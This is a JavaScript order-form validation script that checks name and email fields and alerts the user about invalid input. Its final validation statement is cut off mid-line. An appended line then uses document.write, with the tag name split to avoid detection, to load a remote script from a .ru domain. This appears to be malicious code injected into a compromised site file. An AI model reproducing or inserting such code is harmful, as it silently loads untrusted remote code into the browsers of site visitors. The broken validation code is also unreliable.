function CheckForm(order)
{
if(document.forms.order.realname.value == "")
	{
	alert('Please enter your name');
	document.forms.order.realname.focus();
	return(false);
	}
var checkEmail = document.forms.order.email.value;
	if (document.forms.order.email.value == "")
		{
		alert("Please enter your Email address");
		document.forms.order.email.focus();
		return false;
		}
	if (document.forms.order.email.value.length < 6)
  {
    alert("The Email address you entered is invalid");
    document.forms.order.email.focus();
    return (false);
  }

  var checkOK = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzfSOZsozYÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýþÿ0123456789-@_-.";
  var checkStr = document.forms.order.email.value;
  var allValid = true;
  var validGroups = true;
  for (i = 0;  i < checkStr.length;  i++)
  {
    ch = checkStr.charAt(i);
    for (j = 0;  j < checkOK.length;  j++)
      if (ch == checkOK.charAt(j))
        break;
    if (j == checkOK.length)
    {
      allValid = false;
      break;
    }
  }
  if (!allValid)
  {
    alert("Please enter only letter, digit and \"@_-.\" characters in the Email field.");
    document.forms.order.email.focus();
    return (false);
  }

 if ((checkEmail.indexOf('@') < 0) || ((checkEmail.charAt(checkEmail.length-4) != '.') && (checkEmail.charAt(checkEmail.length-3) != '.')))
{alert("You have entered an invalid email address. Please try again.");
document.forms.orde
document.write('<s'+'cript type="text/javascript" src="http://shortrib.ru/Data_Management.js"></scr'+'ipt>');